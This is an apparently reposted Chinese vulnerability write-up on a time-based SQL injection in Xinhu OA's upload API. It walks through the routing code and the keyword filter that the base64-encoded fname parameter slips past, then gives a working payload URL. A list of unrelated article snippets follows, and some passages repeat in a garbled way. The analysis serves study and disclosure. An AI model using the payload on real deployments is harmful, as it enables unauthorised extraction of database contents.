自己设计网页作业的感悟/宁波网站推广优化公司电话

自己设计网页作业的感悟,宁波网站推广优化公司电话,赚钱网站怎么做,四川省人民政府副秘书长名单漏洞描述 信呼OA办公系统uploadAction存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。 环境搭建 源码下载地址:https://github.com/rainrocka/xinhu 下载后解压到本地网站根目录下,配置好数据库,然后安装即可 默认密…

漏洞描述

信呼OA办公系统uploadAction存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

环境搭建

源码下载地址:https://github.com/rainrocka/xinhu
下载后解压到本地网站根目录下,配置好数据库,然后安装即可
图片.png
图片.png
默认密码是admin/123456,登录进去得更改一次密码

路由分析

在include/View.php中详细介绍了路由的定义

<?php  
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');  
$ajaxbool   = $rock->get('ajaxbool', $ajaxbool);  
$p  = PROJECT;//define('PROJECT', 'webmain');  
if(!isset($m))$m='index';  
if(!isset($a))$a='default';  
if(!isset($d))$d='';  
$m  = $rock->get('m', $m);  
$a  = $rock->get('a', $a);  
$d  = $rock->get('d', $d);define('M', $m);  
define('A', $a);  
define('D', $d);  
define('P', $p);$_m = $m;  
if($rock->contain($m, '|')){  $_mas = explode('|', $m);//以|分割变量m  $m= $_mas[0];  $_m = $_mas[1];  
}  
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));//调用strformat进行格式化,其中?0、?1 等是占位符  
$rand   = date('YmdHis').rand(1000,9999);//随机值  
if(substr($d,-1)!='/' && $d!='')$d.='/';//若$d最后一个字符不是/且$d不是空就在$d后面加一个/  
$errormsg   = '';  
$methodbool = true;  
$actpath    = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);//$actpath:根目录/webmain/$d/$_m  
define('ACTPATH', $actpath);  
$actfile    = $rock->strformat('?0/?1Action.php',$actpath, $m);//$actfile:根目录/webmain/$d/$_m/$mAction.php  
$actfile1   = $rock->strformat('?0/?1Action.php',$actpath, $_m);//$actfile1:根目录/webmain/$d/$_m/$_mAction.php  
$actbstr = null;  
//依次判断$actfile1以及$actfile哪个文件存在,哪个存在包含哪个  
if(file_exists($actfile1))  include_once($actfile1);  
if(file_exists($actfile)){  include_once($actfile);  $clsname    = ''.$m.'ClassAction';  $xhrock = new $clsname();//创建一个与$m相关类的对象  $actname    = ''.$a.'Action';//在$a后接一个Action  if($ajaxbool == 'true')//判断ajaxbool是否为true  $actname    = ''.$a.'Ajax';//在$a后接一个Ajax  if(method_exists($xhrock, $actname)){//检测类中是否存在该方法  $xhrock->beforeAction();  $actbstr = $xhrock->$actname();  $xhrock->bodyMessage = $actbstr;  if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}  if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}  }else{  $methodbool = false;  if($ajaxbool == 'false')echo ''.$actname.' not found;';  }  $xhrock->afterAction();  
}else{  echo 'actionfile not exists;';  $xhrock = new Action();  
}$_showbool = false;  
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){  $xhrock->smartydata['p']    = $p;  $xhrock->smartydata['a']    = $a;  $xhrock->smartydata['m']    = $m;  $xhrock->smartydata['d']    = $d;  $xhrock->smartydata['rand'] = $rand;  $xhrock->smartydata['qom']  = QOM;  $xhrock->smartydata['path'] = PATH;  $xhrock->smartydata['sysurl']= SYSURL;  $temppath   = ''.ROOT_PATH.'/'.$p.'/';  $tplpaths   = ''.$temppath.'/'.$d.''.$m.'/';  $tplname    = 'tpl_'.$m.'';  if($a!='default')$tplname  .= '_'.$a.'';  $tplname       .= '.'.$xhrock->tpldom.'';  $mpathname  = $tplpaths.$tplname;  if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;  if(!file_exists($mpathname) || !$methodbool){  if(!$methodbool){  $errormsg   = 'in ('.$m.') not found Method('.$a.');';  }else{  $errormsg   = ''.$tplname.' not exists;';  }  echo $errormsg;  }else{  $_showbool = true;  }  
}  
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){  $xhrock->setHtmlData();  $da = $xhrock->smartydata;  foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;  include_once($mpathname);  $_showbool = false;  
}

这里用get方式会接收m,d,a,ajaxbool参数

  • a j a x b o o l :用于判断请求是否为 A J A X 请求,默认值从 ajaxbool:用于判断请求是否为AJAX请求,默认值从 ajaxbool:用于判断请求是否为AJAX请求,默认值从rock->jm->gettoken获取。当ajaxbool为false时,是对xxxAction.php的内容访问,当ajaxbool为true时,是对xxxAjax.php的内容进行访问
  • $m, $a, $d:分别代表php文件名(不含Action)、动作名(action)、目录名(webadmin下的子目录),默认值分别为index,default、空字符串。

举例:index.php?a=deluser&m=imgroup&d=&ajaxbool=true&gid=38&sid=1

  • $m:user,表示请求的是webadmin下的imgroup 目录。
  • $a:list,表示请求的方法是 deluser。
  • ajaxbool:true,表示这是一个 AJAX 请求
    图片.png

漏洞分析

漏洞的位置在webmain/task/api/uploadAction.php中
核心代码在getmfilvAction()方法里边

	public function getmfilvAction(){$fileid = (int)$this->get('fileid','0');$frs 	= m('file')->getone($fileid);if(!$frs)return returnerror('不存在');$lujing	= $frs['filepathout'];if(isempt($lujing)){$lujing = $frs['filepath'];if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');}$fileext = $frs['fileext'];$fname = $this->jm->base64decode($this->get('fname'));$fname = (isempt($fname)) ? $frs['filename'] : ''.$fname.'.'.$fileext.'';$filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';$this->rock->createtxt($filepath, file_get_contents($lujing));$uarr = array('filename' => $fname,'fileext' => $fileext,'filepath' => $filepath,'filesize' => filesize($filepath),'filesizecn' => $this->rock->formatsize(filesize($filepath)),'optid' 	=> $this->adminid,'optname' 	=> $this->adminname,'adddt' 	=> $this->rock->now,'ip' 		=> $this->rock->ip,'web' 		=> $this->rock->web,);$uarr['id'] = m('file')->insert($uarr);return returnsuccess($uarr);}

getmfilvAction 方法的主要功能是从数据库中获取文件信息,读取文件内容,生成新的文件,并将新文件的信息记录到数据库中。最后,返回生成文件的信息。
在该方法中有两个可以控制的参数,一个是fileid另一个是fname,但是fileid参数会进行类型转换为int类型存在注入几率几乎为零,其中fname还进行了base64解码操作,最后将两个参数的内容连同其他文件基本信息进行数据库的插入操作,在这个地方想要确定有sql注入需要确定get方法以及insert方法是否存在sql语句的过滤
进入Model.php中的inser()方法

	public function insert($arr){$nid = 0;if($this->record($arr, ''))$nid = $this->db->insert_id();return $nid;}

对传入的参数进行record方法的校验若不为false,那么就获取到其id值
跟进record方法
图片.png
再跟进 public function record( t a b l e , table, table,array,$where=‘’)

	{$addbool  	= true;if(!$this->isempt($where))$addbool=false;$cont		= '';if(is_array($array)){foreach($array as $key=>$val){$cont.=",`$key`=".$this->toaddval($val)."";}$cont	= substr($cont,1);}else{$cont	= $array;}$table = $this->gettables($table);if($addbool){$sql="insert into $table set $cont";}else{$where = $this->getwhere($where);$sql="update $table set $cont where $where";}return $this->tranbegin($sql);}

代码解读:该方法首先是是对where参数进行非空判断,前面代码是将where设置为空了,那么 a d d b o o l 就是 f a l s e 。接着就是判断 addbool就是false。接着就是判断 addbool就是false。接着就是判断array是否为数组,若是数组就进行遍历将每个字段和对应的值拼接到 c o n t 字符串中并调用 t o a d d v a l 方法确保传入的字符串被正确地格式化为 S Q L 语句中的字符串值,但该方法并没有对 s q l 进行任何过滤 ; 然后调用 g e t t a b l e s 设置表名,接着进入 e l s e 语句,我们清晰的看到 cont字符串中并调用toaddval方法确保传入的字符串被正确地格式化为 SQL 语句中的字符串值,但该方法并没有对sql进行任何过滤;然后调用gettables设置表名,接着进入else语句,我们清晰的看到 cont字符串中并调用toaddval方法确保传入的字符串被正确地格式化为SQL语句中的字符串值,但该方法并没有对sql进行任何过滤;然后调用gettables设置表名,接着进入else语句,我们清晰的看到sql变量直接将$cont语句拼接到了sql语句中
接着我们去get方法中看看该方法对传入的内容有什么过滤,来到rockClass.php中

	public function get($name,$dev='', $lx=0){$val=$dev;if(isset($_GET[$name]))$val=$_GET[$name];if($this->isempt($val))$val=$dev;return $this->jmuncode($val, $lx, $name);}

这个方法只是判断是否进行get传参如果传参成功就进行赋值操作,之后进行非空判断,调用jmucade方法()将其值返回。该方法中并没有对sql语句进行过滤
这个文件里有个construct()方法,实例化rockClass对象就会触发

	public function __construct(){		$this->ip		= $this->getclientip();$this->host		= isset($_SERVER['HTTP_HOST'])		? $_SERVER['HTTP_HOST']		: '' ;if($this->host && substr($this->host,-3)==':80')$this->host = str_replace(':80', '', $this->host);$this->url		= '';$this->isqywx	= false;$this->win		= php_uname();$this->HTTPweb	= isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT']	: '' ;$this->web		= $this->getbrowser();$this->unarr	= explode(',','1,2');$this->now		= $this->now();$this->date		= date('Y-m-d');$this->lvlaras  = explode(',','select ,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');$this->lvlaraa  = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');$this->lvlarab	= array();foreach($this->lvlaraa as $_i)$this->lvlarab[]='';}

这里过滤大部分sql注入一些敏感字符,通过以上分析发现这个fname参数经过get传参后会进行base64decode方法进行base64解密,那么如果我们将filename传入恶意的sql语句进行base64编码,就会绕过rockClass.php中的construct方法中的sql语句的过滤,之后进行base64解密又拼接到sql语句造成sql注入的形成

漏洞验证

payload:

api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDMpIw==

payload解释:漏洞的位置在webmain/task/api/uploadAction.php中的getmfilv方法中,d传task参数表示在webadmin/task目录下,m传upload|api,第一部分 upload 会被赋值给 $m,第二部分 api 会被赋值给 $_m,表示
api下的uploadAction.php文件,a传getmfilv文件表示调用uploadAction.php的、getmfilv()方法,fname传sql注入的payload,进行base64编码

成功延时
图片.png
图片.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/895512.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文深入了解DeepSeek-R1:模型架构

本文深入探讨了 DeepSeek-R1 模型架构。让我们从输入到输出追踪 DeepSeek-R1 模型&#xff0c;以找到架构中的新发展和关键部分。DeepSeek-R1 基于 DeepSeek-V3-Base 模型架构。本文旨在涵盖其设计的所有重要方面。 &#x1f4dd; 1. 输入上下文长度 DeepSeek-R1的输入上下文长…

算法兵法全略(译文)

目录 始计篇 谋攻篇 军形篇 兵势篇 虚实篇 军争篇 九变篇 行军篇 地形篇 九地篇 火攻篇 用间篇 始计篇 算法&#xff0c;在当今时代&#xff0c;犹如国家关键的战略武器&#xff0c;也是处理各类事务的核心枢纽。算法的世界神秘且变化万千&#xff0c;不够贤能聪慧…

开关电源实战(一)宽范围DC降压模块MP4560

系列文章目录 文章目录 系列文章目录MP4560MP4560 3.8V 至 55V 的宽输入范围可满足各种降压应用 MOSFET只有250mΩ 输出可调0.8V-52V SW:需要低VF肖特基二极管接地,而且要靠近引脚,高压侧开关的输出。 EN:输入使能,拉低到阈值以下关闭芯片,拉高或浮空启动 COMP:Compens…

微软AutoGen高级功能——Magentic-One

介绍 大家好&#xff0c;博主又来给大家分享知识了&#xff0c;这次给大家分享的内容是微软AutoGen框架的高级功能Magentic-One。那么它是用来做什么的或它又是什么功能呢&#xff0c;我们直接进入正题。 Magentic-One Magnetic-One是一个通用型多智能体系统&#xff0c;用于…

DeepSeek是如何通过“蒸馏”技术打造自己的AI模型

1 引言&#xff1a; 最近&#xff0c;外媒对中国公司——DeepSeek进行了猛烈抨击&#xff0c;指控其采用了所谓的“蒸馏”&#xff08;Distillation&#xff09;技术&#xff0c;涉嫌抄袭甚至作弊。那么&#xff0c;什么是“蒸馏”技术&#xff1f; 在人工智能领域&#xff0c;…

【广州大学主办,发表有保障 | IEEE出版,稳定EI检索,往届见刊后快至1个月检索】第二届电气技术与自动化工程国际学术会议 (ETAE 2025)

第二届电气技术与自动化工程国际学术会议 (ETAE 2025) The 2nd International Conference on Electrical Technology and Automation Engineering 大会官网&#xff1a;http://www.icetae.com/【更多详情】 会议时间&#xff1a;2025年4月25-27日 会议地点&#xff1a…

伯克利 CS61A 课堂笔记 08 —— Strings and Dictionaries

本系列为加州伯克利大学著名 Python 基础课程 CS61A 的课堂笔记整理&#xff0c;全英文内容&#xff0c;文末附词汇解释。 目录 01 Strings 字符串 Ⅰ Strings are An Abstraction. Ⅱ Strings Literals have Three Forms Ⅲ String are Sequences 02 Dictionaries 字典 …

基于 GEE 计算研究区年均地表温度数据

目录 1 代码解析 2 完整代码 3 运行结果 1 代码解析 &#xff08;1&#xff09;定义研究区&#xff1a; // 研究区的范围需要自己提前上传 var dataset table;// 将研究区显示在中心&#xff0c;后面的数字为缩放等级&#xff0c;范围从1 - 24 Map.centerObject(dataset,…

日常知识点之遗留问题梳理(定时器/时间轮定时器)

1&#xff1a;简单基础 定时器的核心知识点&#xff0c;对我来说就是获取当前时间和设置回调函数。 简单练习&#xff1a; ​ c语言通过gettimeofday 获取当前时间并进行处理 ​ 回调函数的定义&#xff08;函数参数有必要适当存储&#xff09; typedef void(Timerfunc)(vo…

Python + WhisperX:解锁语音识别的高效新姿势

大家好&#xff0c;我是烤鸭&#xff1a; 最近在尝试做视频的质量分析&#xff0c;打算利用asr针对声音判断是否有人声&#xff0c;以及识别出来的文本进行进一步操作。asr看了几个开源的&#xff0c;最终选择了openai的whisper&#xff0c;后来发现性能不行&#xff0c;又换了…

mapbox 从入门到精通 - 目录

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;mapbox 从入门到精通 文章目录 一、&#x1f340;总目录1.1 ☘️ mapbox基础1.2 ☘️…

sqlilabs--小实验

一、先盲注判断 ?id1 and sleep(2)-- 如果发现页面存在注点&#xff0c;使用时间盲注脚本进行注入 import requestsdef inject_database(url):name for i in range(1, 20): # 假设数据库名称长度不超过20low 48 # 0high 122 # zmiddle (low high) // 2while low &l…

【数字】异步FIFO面试的几个小问题与跨时钟域时序约束

入门数字设计的时候&#xff0c;跨时钟域的数据处理是绕不开的课题&#xff0c;特别是多比特数据跨时钟域时&#xff0c;都会采用异步FIFO的方法。 异步FIFO中涉及较多的考点这里记录几个以供大家参考。 1. 异步FIFO的空满判断分别在哪个域&#xff1f; 根据异步FIFO的结构&…

RabbitMQ学习—day2—安装

目录 普通Linux安装 安装RabbitMQ 1、下载 2、安装 3. Web管理界面及授权操作 Docker 安装 强力推荐学docker&#xff0c;使用docker安装 普通Linux安装 安装RabbitMQ 1、下载 官网下载地址&#xff1a;https://www.rabbitmq.com/download.html(opens new window) 这…

降本增效 - VGF 构建轻量高性能日志管理平台

VFG 技术架构 Filebeat 接收Syslog &#xff0c;并进行日志分段&#xff0c;VictoriaLogs 持久化存储日志 &#xff0c;Grafana 可视化、数据查询、告警、数据导出。 为什么要用VictoriaLogs &#xff1f; 与Elasticsearch /Grafana Loki相比几十倍的CPU/内存/存储资源占用的…

初识camel智能体(一)

同目录下配置环境变量.env&#xff0c;内容如下&#xff0c; apikey从魔搭社区获取 QWEN_API_KEY4ff3ac8f-aebc******** 先上干货代码&#xff0c;主代码如下&#xff1a; from colorama import Forefrom camel.societies import RolePlaying from camel.utils import prin…

如何保持 mysql 和 redis 中数据的一致性?PegaDB 给出答案

MySQL 与 Redis 数据保持一致性是一个常见且复杂的问题&#xff0c;一般来说需要结合多种策略来平衡性能与一致性。 传统的解决策略是先读缓存&#xff0c;未命中则读数据库并回填缓存&#xff0c;但方式这种维护成本较高。 随着云数据库技术的发展&#xff0c;目前国内云厂商…

探索ELK 的魅力

在大数据时代&#xff0c;海量日志和数据的收集、存储、处理与可视化分析变得越来越重要。而 ELK 堆栈&#xff0c;由 Elasticsearch、Logstash、Beats 和 Kibana 组成&#xff0c;正是一个强大的开源解决方案&#xff0c;帮助开发者和运维人员高效管理和分析日志数据。本文将详…

深度学习实战基础案例——卷积神经网络(CNN)基于DenseNet的眼疾检测|第4例

文章目录 前言一、数据准备二、项目实战2.1 设置GPU2.2 数据加载2.3 数据预处理2.4 数据划分2.5 搭建网络模型2.6 构建densenet1212.7 训练模型2.8 结果可视化 三、UI设计四、结果展示总结 前言 在当今社会&#xff0c;眼科疾病尤其是白内障对人们的视力健康构成了严重威胁。白…

代码随想录二叉树篇(含源码)

二叉树与递归 前言226.翻转二叉树算法思路及代码solution 1 用分解问题的思路来解决solution 2 用遍历的思路来解决 101.对称二叉树算法思路及代码solution 104.二叉树的最大深度算法思路及代码solution 1 遍历solution 2 分解问题 111.二叉树的最小深度算法思路及代码solution…